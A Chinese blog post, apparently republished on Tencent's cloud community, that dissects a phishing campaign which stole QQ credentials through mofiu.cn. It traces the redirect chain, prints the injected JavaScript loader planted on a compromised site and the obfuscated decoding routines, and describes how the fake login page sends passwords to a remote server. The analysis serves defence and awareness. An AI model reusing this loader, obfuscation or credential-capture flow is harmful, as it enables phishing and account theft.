钓鱼网站Mofiu.cn现形记

前几天,QQ好友发给我一个链接,出于好奇我打开链接,发现QQ空间登陆页面,再看网址,断定是钓鱼网站。

下图,钓鱼链接一。

下图,钓鱼链接二。

http://news.soso.com/news/redirect_out.jsp?url=https://url.cn/5OdytE1?https://i.qq.com...HpxdFYggyL  毕业照

http://news.soso.com/news/redirect_out.jsp

这个是腾讯搜搜新闻的正规跳转页面。这个链接跳转到

https://url.cn/5OdytE1

这又是一个跳转链接。这个显示为安全连接,实际跳转到一个美容医院网站的某文件夹(被人上传过html文件的)。美容网站首页:

跳转到这个链接:

www.2800000.com/images/file/20180816131121722172.html

显示为一个IIS的404页面。

但是这个404页面是伪造的,实际此网站的404页面应该为

也就是说,上面一个截图的404是写好了的伪造的,在你等待的几秒或更短的时间内,html中的javascript脚本会使页面跳转到伪造的qq空间登陆页面。

被攻击的美容医院站点被插入的html从mofiu.cn加载了q.js,执行第一行代码修改页面标题为“请等待…”,执行到第十五行代码时,跳转到mofiu.cn/i.html#

document.title = '\u8bf7\u7a0d\u7b49...';var xhr = new XMLHttpRequest;var html = null;function render() {    var a = document.open("text/html", "replace");    a.write(html);    a.close();}xhr.onload = function() {    html = xhr.responseText;    var delay = 0;    if (delay > 0) setTimeout("render()", delay * 1000)    else render();};xhr.open("GET", "http://mofiu.cn/i.html#" + Date.now(), !0);xhr.send();

mofiu.cn/i.html即为假冒qq空间登陆,受害者输入qq号qq密码就会发送到远程存储起来。

下载i.html,可以看到,i.html只有一行代码:

在chrome控制台执行一遍,得到字符串:

下载js,可以看到含有一堆编码(以及解码的函数)的代码:

(由于代码太长,此处省略用来解码的十二页多的字符串。)

(function() {    var new_doc = document.open("text/html", "replace");    var html = unescape("%3C%68%74%6D%6C%3E%0A%3C%68%65%61(搬代码时,此处省略十二页多的字符串。)");    new_doc.write(html);    new_doc.close();})();var set = document.createElement('iframe');set.src = 'https://www.baidu.com/favicon.ico';set.style.display = 'none';set.onload = function() {    setTimeout(function() {        set.remove();    },9)}document.title = '\u624b\u673a\u7edf\u4e00\u767b\u5f55';document.body.appendChild(set);function base64_encode(d) {    var q = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';    var z, y, x, w, v, u, t, s, i = 0,    j = 0,    p = '',    r = [];    if (!d) {        return d    }    do {        z = d.charCodeAt(i++);        y = d.charCodeAt(i++);        x = d.charCodeAt(i++);        s = z << 16 | y << 8 | x;        w = s >> 18 & 0x3f;        v = s >> 12 & 0x3f;        u = s >> 6 & 0x3f;        t = s & 0x3f;        r[j++] = q.charAt(w) + q.charAt(v) + q.charAt(u) + q.charAt(t)    } while ( i < d . length );    p = r.join('');    var r = d.length % 3;    return (r ? p.slice(0, r - 3) : p) + '==='.slice(r || 3)}function base64_decode(d) {    var q = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';    var z, y, x, w, v, u, t, s, i = 0,    j = 0,    r = [];    if (!d) {        return d    }    d += '';    do {        w = q.indexOf(d.charAt(i++));        v = q.indexOf(d.charAt(i++));        u = q.indexOf(d.charAt(i++));        t = q.indexOf(d.charAt(i++));        s = w << 18 | v << 12 | u << 6 | t;        z = s >> 16 & 0xff;        y = s >> 8 & 0xff;        x = s & 0xff;        if (u == 64) {            r[j++] = String.fromCharCode(z)        } else if (t == 64) {            r[j++] = String.fromCharCode(z, y)        } else {            r[j++] = String.fromCharCode(z, y, x)        }    } while ( i < d . length );    return r.join('')}function arcfour(k, d) {    var o = '';    s = new Array();    var n = 256;    l = k.length;    for (var i = 0; i < n; i++) {        s[i] = i    }    for (var j = i = 0; i < n; i++) {        j = (j + s[i] + k.charCodeAt(i % l)) % n;        var x = s[i];        s[i] = s[j];        s[j] = x    }    for (var i = j = y = 0; y < d.length; y++) {        i = (i + 1) % n;        j = (j + s[i]) % n;        x = s[i];        s[i] = s[j];        s[j] = x;        o += String.fromCharCode(d.charCodeAt(y) ^ s[(s[i] + s[j]) % n])    }    return o}

用解码函数执行一遍,得到另外一段加密字符串和解码函数。

Chrome控制台运行一遍解码函数的定义,再走一遍解码,

最后得到i.html主体html,插入到文档中就是钓鱼页面了。

这是mofiu.cn/i.html加载的文件:

网站使用jQuery驱动,所以它加载了百度CDN上存储的的jQuery副本。

加载gettoken.php确定用户身份

它还加载了QQ空间的CSS(http://qzonestyle.gtimg.cn/qzone/phone/style/login.css),借此实现高仿真度的显示效果。

其中来自open.mobile.qq.com的qqapi.js(https://open.mobile.qq.com/sdk/qqapi.js?_bid=152)是最可疑的。

从它的代码中可以看到有各种针对手机qq关于ui显示的函数。

而mofiu.cn/i.html通过调用API,更改网页在手机QQ上的显示方式:左侧按钮文字为“私密相册”,点击后无响应(让人看起来像是QQ卡死了)。

mofiu.cn/i.html中的标签:</p><p>而这段代码实现下拉菜单:</p><p>于是手机上的钓鱼网站是长这个样子的,第二张图片是来自另一个被上传的网站的截图,可以看到,这个网站还做了“精致的”下拉栏,让你误以为是腾讯QQ的页面</p><p><img src='https://ask.qcloudimg.com/http-save/developer-news/rv233til0k.jpeg' /></p><p><img src='https://ask.qcloudimg.com/http-save/developer-news/p21641elx2.jpeg' /></p><p>mofiu.cn/i.html中的最后一个<script>也是比较可疑的,有一句跳转代码很醒目:</p><p><img src='https://ask.qcloudimg.com/http-save/developer-news/50n1tr0bd0.jpeg' /></p><p><img src='https://ask.qcloudimg.com/http-save/developer-news/e75r7xx6wm.jpeg' /></p><p>在chrome控制台alert字符串,得到“http://i.qq.com”</p><p><img src='https://ask.qcloudimg.com/http-save/developer-news/97xqz378yd.jpeg' /></p><p>这一段代码:</p><p><img src='https://ask.qcloudimg.com/http-save/developer-news/bsx3j2sa1k.jpeg' /></p><p><img src='https://ask.qcloudimg.com/http-save/developer-news/j0cq8r40p3.jpeg' /></p><p>明白了,判断浏览器UA,如果不是手机QQ浏览器,就跳转到“http://i.qq.com”,还让不让人好好的研究代码了?</p><p>i.html中的这一段代码用于检验用户名和密码的合法性,然后上传用户名和密码,跳转到某图片的链接上,让受害者被盗号了都还反应不过来。</p><p>如果用户名和密码合法,就请求提交到php,然后执行mofiu.com/lib/t.js。</p><p>mofiu.com/lib/t.js只有一行代码:</p><p>top.location.replace('http://img.sogoucdn.com/app/a/100520146/E6364F15BFF87B196E3713C15B7E42CD')</p><p>跳转到某个搜狗CDN上的图片,欺骗受害者。</p><p><strong>总结:</strong></p><p>网站作者(简称“作者”),真是心思细腻,手法高明。</p><p>用到的技术或者高明之处:</p><p>1. 高度仿真的页面,加载QQ空间的CSS来实现显示。</p><p>2. 检验用户名和密码是否合法,避免不必要的麻烦。</p><p>3. 非QQ浏览器则自动跳转到http://i.qq.com,混淆视听。</p><p>4. 在a.js和ax.js以及文中提到的js,用加密字符串存储网页代码,然后用JavaScript解码并显示,避免不必要的麻烦</p><p>5. 全程没有使用明文,大多数都用的Unicode编码。</p><p>6. 做了一个假的下拉栏,混淆网址</p><p>7. 做一个假的404页面,还把标题改成“请等待. . . ”</p><p><img src='https://ask.qcloudimg.com/http-save/developer-news/d7qkifljsy.gif' /></p>

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20180904B0PVVZ00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。

扫码关注云+社区

领取腾讯云代金券